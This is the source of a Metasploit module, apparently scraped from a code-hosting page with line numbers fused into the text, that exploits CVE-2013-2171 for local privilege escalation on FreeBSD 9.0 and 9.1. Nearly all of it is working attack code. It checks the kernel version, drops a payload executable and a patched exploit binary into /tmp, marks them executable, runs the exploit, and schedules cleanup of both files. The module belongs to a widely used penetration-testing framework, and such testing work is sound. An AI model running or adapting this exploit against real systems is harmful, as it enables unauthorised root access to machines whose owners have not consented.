Path: blob/master/modules/exploits/freebsd/local/mmap.rb
19812 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = GreatRanking78include Msf::Exploit::EXE9include Msf::Post::File10include Msf::Exploit::FileDropper1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'FreeBSD 9 Address Space Manipulation Privilege Escalation',17'Description' => %q{18This module exploits a vulnerability that can be used to modify portions of19a process's address space, which may lead to privilege escalation. Systems20such as FreeBSD 9.0 and 9.1 are known to be vulnerable.21},22'License' => MSF_LICENSE,23'Author' => [24'Konstantin Belousov', # Discovery25'Alan Cox', # Discovery26'Hunger', # POC27'sinn3r' # Metasploit28],29'Platform' => [ 'bsd' ],30'Arch' => [ ARCH_X86 ],31'SessionTypes' => [ 'shell' ],32'References' => [33[ 'CVE', '2013-2171' ],34[ 'OSVDB', '94414' ],35[ 'EDB', '26368' ],36[ 'BID', '60615' ],37[ 'URL', 'http://www.freebsd.org/security/advisories/FreeBSD-SA-13:06.mmap.asc' ]38],39'Targets' => [40[ 'FreeBSD x86', {} ]41],42'DefaultTarget' => 0,43'DisclosureDate' => '2013-06-18',44'Notes' => {45'Stability' => [ CRASH_SAFE, ],46'SideEffects' => [ ARTIFACTS_ON_DISK, ],47'Reliability' => [ REPEATABLE_SESSION, ]48}49)50)51register_options([52# It isn't OptPath becuase it's a *remote* path53OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),54])55end5657def check58res = cmd_exec('uname -a')59return Exploit::CheckCode::Appears if res =~ /FreeBSD 9\.[01]/6061Exploit::CheckCode::Safe62end6364def upload_payload65fname = datastore['WritableDir']66fname = "#{fname}/" unless fname =~ %r{/$}67if fname.length > 3668fail_with(Failure::BadConfig, "WritableDir can't be longer than 33 characters")69end70fname = "#{fname}#{Rex::Text.rand_text_alpha(4)}"7172p = generate_payload_exe73write_file(fname, p)74return nil if !file_exist?(fname)7576cmd_exec("chmod +x #{fname}")77fname78end7980def generate_exploit(payload_fname)81#82# Metasm does not support FreeBSD executable generation.83#84path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2013-2171.bin')85x = File.open(path, 'rb') { |f| f.read(f.stat.size) }86x.gsub(/MSFABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890/, payload_fname.ljust(40, "\x00"))87end8889def upload_exploit(payload_fname)90fname = "/tmp/#{Rex::Text.rand_text_alpha(4)}"91bin = generate_exploit(payload_fname)92write_file(fname, bin)93return nil if !file_exist?(fname)9495cmd_exec("chmod +x #{fname}")96fname97end9899def exploit100payload_fname = upload_payload101fail_with(Failure::NotFound, 'Payload failed to upload') if payload_fname.nil?102print_status("Payload #{payload_fname} uploaded.")103104exploit_fname = upload_exploit(payload_fname)105fail_with(Failure::NotFound, 'Exploit failed to upload') if exploit_fname.nil?106print_status("Exploit #{exploit_fname} uploaded.")107108register_files_for_cleanup(payload_fname, exploit_fname)109110print_status("Executing #{exploit_fname}")111cmd_exec(exploit_fname)112end113end114115116